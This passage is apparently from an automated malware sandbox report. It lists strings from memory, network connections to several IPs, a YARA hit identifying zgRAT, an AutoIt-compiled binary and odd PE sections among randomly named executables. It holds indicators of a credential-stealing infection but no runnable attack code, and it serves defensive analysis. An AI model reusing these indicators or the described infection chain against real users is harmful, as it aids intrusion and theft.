Source: 140460b5fe.exe, 0000000B.00000003.2875427797.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726785957.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726119931.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726520214.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2819329376.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2818888885.0000000005CBB000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2821619319.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001C.00000003.2780650124.000001C137577000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3372926017.000001C138B8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780285141.000001C13753C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780453438.000001C13755A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3210127000.000001C133720000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2779789861.000001C137300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780110569.000001C13751F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchKey
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001C.00000003.2926081660.000001C138766000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001C.00000002.3358356541.000001C137C4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: firefox.exe, 0000001C.00000002.3375882080.000001C138DBB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3002185572.0000000C341FB000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164130592.000001C1331C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C1346A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C134641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: firefox.exe, 0000001C.00000002.3375882080.000001C138D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384803624.000001C13944C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 0000001C.00000002.3375882080.000001C138D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384803624.000001C13944C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: firefox.exe, 0000001C.00000002.3350930206.000001C13777A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3378808073.000001C138F76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: b1c5a9309d.exe, 0000000C.00000003.2777640489.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2902678725.0000000005D94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3375882080.000001C138D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384803624.000001C13944C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 0000001C.00000002.3375882080.000001C138D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384803624.000001C13944C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource:///modules/UrlbarResult.sys.mjspictureinpicture
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001C.00000002.3114255755.000001C133059000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3001793073.00000231946C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: b1c5a9309d.exe, 0000000C.00000003.2777640489.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2902678725.0000000005D94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3375882080.000001C138D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384803624.000001C13944C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001C.00000002.3002185572.0000000C341FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001C.00000002.3364852860.000001C138227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133AB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001C.00000002.3267954961.000001C134603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sling.com/
Source: firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322743316.000001C1359CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C020A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001C.00000002.3211469866.000001C13393B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3211469866.000001C133911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164130592.000001C1331A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3339647822.000001C137276000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2898771747.000001C13ACF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2916154035.000001C139BA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2898771747.000001C13ACB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3211469866.000001C1339DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001C.00000002.3351626590.000001C137845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001C.00000002.3045629683.000001C127660000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3050373606.000001C127911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3114255755.000001C1330E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2916154035.000001C139BA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3045424422.000001C127610000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2898771747.000001C13ACB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322743316.000001C135987000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3050373606.000001C12796B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3045629683.000001C127669000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3211469866.000001C1339DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2898771747.000001C13ACCA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2999353379.00000231945B4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2994653444.0000023194220000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2994653444.000002319422A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991733042.00000229BFEE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2993027310.00000229C01D4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991733042.00000229BFEEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.2765359360.000001CFCA8DA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2772458258.000001F1A3F09000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3045629683.000001C127669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001C.00000002.3072575524.000001C1294EA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2999353379.00000231945B4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2994653444.0000023194220000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991733042.00000229BFEE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2993027310.00000229C01D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUpdateService.canUsu
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdWhether

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943

Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49960 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.6f93831ea2.exe.4613198.1.raw.unpack, type: UNPACKEDPE

Matched rule: Detects zgRAT Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: 7a7de3f1d8.exe, 0000000D.00000002.2818892727.0000000000B42000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_8a301920-e
Source: 7a7de3f1d8.exe, 0000000D.00000002.2818892727.0000000000B42000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_00de10ae-b

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
